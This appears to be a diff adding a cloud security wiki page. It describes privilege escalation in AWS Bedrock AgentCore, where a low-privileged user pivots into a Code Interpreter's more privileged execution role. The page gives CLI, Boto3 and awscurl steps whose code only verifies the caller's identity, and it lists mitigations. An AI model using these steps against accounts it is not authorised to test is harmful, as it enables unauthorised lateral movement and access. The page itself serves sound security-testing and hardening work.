|
| 1 | +# AWS - Bedrock PrivEsc |
| 2 | + |
| 3 | +{{#include ../../../../banners/hacktricks-training.md}} |
| 4 | + |
| 5 | +## Amazon Bedrock AgentCore |
| 6 | + |
| 7 | +### `bedrock-agentcore:StartCodeInterpreterSession` + `bedrock-agentcore:InvokeCodeInterpreter` - Code Interpreter Execution-Role Pivot |
| 8 | + |
| 9 | +AgentCore Code Interpreter is a managed execution environment. **Custom Code Interpreters** can be configured with an **`executionRoleArn`** that “provides permissions for the code interpreter to access AWS services”. |
| 10 | + |
| 11 | +If a **lower-privileged IAM principal** can **start + invoke** a Code Interpreter session that is configured with a **more privileged execution role**, the caller can effectively **pivot into the execution role’s permissions** (lateral movement / privilege escalation depending on role scope). |
| 12 | + |
| 13 | +> [!NOTE] |
| 14 | +> This is typically a **misconfiguration / excessive permissions** issue (granting wide permissions to the interpreter execution role and/or granting broad invoke access). |
| 15 | +> AWS explicitly warns to avoid privilege escalation by ensuring execution roles have **equal or fewer** privileges than identities allowed to invoke. |
| 16 | +
|
| 17 | +#### Preconditions (common misconfiguration) |
| 18 | + |
| 19 | +- A **custom code interpreter** exists with an over-privileged **execution role** (ex: access to sensitive S3/Secrets/SSM or IAM-admin-like capabilities). |
| 20 | +- A user (developer/auditor/CI identity) has permissions to: |
| 21 | + - start sessions: `bedrock-agentcore:StartCodeInterpreterSession` |
| 22 | + - invoke tools: `bedrock-agentcore:InvokeCodeInterpreter` |
| 23 | +- (Optional) The user can also create interpreters: `bedrock-agentcore:CreateCodeInterpreter` (lets them create a new interpreter configured with an execution role, depending on org guardrails). |
| 24 | + |
| 25 | +#### Recon (identify custom interpreters and execution role usage) |
| 26 | + |
| 27 | +List interpreters (control-plane) and inspect their configuration: |
| 28 | + |
| 29 | +```bash |
| 30 | +aws bedrock-agentcore-control list-code-interpreters |
| 31 | +aws bedrock-agentcore-control get-code-interpreter --code-interpreter-id <CODE_INTERPRETER_ID> |
| 32 | +```` |
| 33 | + |
| 34 | +> The create-code-interpreter command supports `--execution-role-arn` which defines what AWS permissions the interpreter will have. |
| 35 | + |
| 36 | +#### Step 1 - Start a session (this returns a `sessionId`, not an interactive shell) |
| 37 | + |
| 38 | +```bash |
| 39 | +SESSION_ID=$( |
| 40 | + aws bedrock-agentcore start-code-interpreter-session \ |
| 41 | + --code-interpreter-identifier <CODE_INTERPRETER_IDENTIFIER> \ |
| 42 | + --name "arte-oussama" \ |
| 43 | + --query sessionId \ |
| 44 | + --output text |
| 45 | +) |
| 46 | +
|
| 47 | +echo "SessionId: $SESSION_ID" |
| 48 | +``` |
| 49 | + |
| 50 | +#### Step 2 - Invoke code execution (Boto3 or signed HTTPS) |
| 51 | + |
| 52 | +There is **no interactive python shell** from `start-code-interpreter-session`. Execution happens via **InvokeCodeInterpreter**. |
| 53 | + |
| 54 | +**Option A - Boto3 example (execute Python + verify identity):** |
| 55 | + |
| 56 | +```python |
| 57 | +import boto3 |
| 58 | +
|
| 59 | +client = boto3.client("bedrock-agentcore", region_name="<REGION>") |
| 60 | +
|
| 61 | +# Execute python inside the Code Interpreter session |
| 62 | +resp = client.invoke_code_interpreter( |
| 63 | + codeInterpreterIdentifier="<CODE_INTERPRETER_IDENTIFIER>", |
| 64 | + sessionId="<SESSION_ID>", |
| 65 | + name="executeCode", |
| 66 | + arguments={ |
| 67 | + "language": "python", |
| 68 | + "code": "import boto3; print(boto3.client('sts').get_caller_identity())" |
| 69 | + } |
| 70 | +) |
| 71 | +
|
| 72 | +# Response is streamed; print events for visibility |
| 73 | +for event in resp.get("stream", []): |
| 74 | + print(event) |
| 75 | +``` |
| 76 | +
|
| 77 | +If the interpreter is configured with an execution role, the `sts:GetCallerIdentity()` output should reflect that role’s identity (not the low-priv caller), demonstrating the pivot. |
| 78 | +
|
| 79 | +**Option B - Signed HTTPS call (awscurl):** |
| 80 | +
|
| 81 | +```bash |
| 82 | +awscurl -X POST \ |
| 83 | + "https://bedrock-agentcore.<Region>.amazonaws.com/code-interpreters/<CODE_INTERPRETER_IDENTIFIER>/tools/invoke" \ |
| 84 | + -H "Content-Type: application/json" \ |
| 85 | + -H "Accept: application/json" \ |
| 86 | + -H "x-amzn-code-interpreter-session-id: <SESSION_ID>" \ |
| 87 | + --service bedrock-agentcore \ |
| 88 | + --region <Region> \ |
| 89 | + -d '{ |
| 90 | + "name": "executeCode", |
| 91 | + "arguments": { |
| 92 | + "language": "python", |
| 93 | + "code": "print(\"Hello from AgentCore\")" |
| 94 | + } |
| 95 | + }' |
| 96 | +``` |
| 97 | +
|
| 98 | +#### Impact |
| 99 | +
|
| 100 | +* **Lateral movement** into whatever AWS access the interpreter execution role has. |
| 101 | +* **Privilege escalation** if the interpreter execution role is more privileged than the caller. |
| 102 | +* Harder detection if CloudTrail data events for interpreter invocations are not enabled (invocations may not be logged by default, depending on configuration). |
| 103 | +
|
| 104 | +#### Mitigations / Hardening |
| 105 | +
|
| 106 | +* **Least privilege** on the interpreter `executionRoleArn` (treat it like Lambda execution roles / CI roles). |
| 107 | +* **Restrict who can invoke** (`bedrock-agentcore:InvokeCodeInterpreter`) and who can start sessions. |
| 108 | +* Use **SCPs** to deny InvokeCodeInterpreter except for approved agent runtime roles (org-level enforcement can be necessary). |
| 109 | +* Enable appropriate **CloudTrail data events** for AgentCore where applicable; alert on unexpected invocations and session creation. |
| 110 | +
|
| 111 | +## References |
| 112 | +
|
| 113 | +- [Sonrai: AWS AgentCore privilege escalation path (SCP mitigation)](https://sonraisecurity.com/blog/aws-agentcore-privilege-escalation-bedrock-scp-fix/) |
| 114 | +- [Sonrai: Credential exfiltration paths in AWS code interpreters (MMDS)](https://sonraisecurity.com/blog/sandboxed-to-compromised-new-research-exposes-credential-exfiltration-paths-in-aws-code-interpreters/) |
| 115 | +- [AWS CLI: create-code-interpreter (`--execution-role-arn`)](https://docs.aws.amazon.com/cli/latest/reference/bedrock-agentcore-control/create-code-interpreter.html) |
| 116 | +- [AWS CLI: start-code-interpreter-session (returns `sessionId`)](https://docs.aws.amazon.com/cli/latest/reference/bedrock-agentcore/start-code-interpreter-session.html) |
| 117 | +- [AWS Dev Guide: Code Interpreter API reference examples (Boto3 + awscurl invoke)](https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/code-interpreter-api-reference-examples.html) |
| 118 | +- [AWS Dev Guide: Security credentials management (MMDS + privilege escalation warning)](https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/security-credentials-management.html) |
| 119 | +
|
| 120 | +
|
| 121 | +{{#include ../../../../banners/hacktricks-training.md}} |
| 122 | +
|
0 commit comments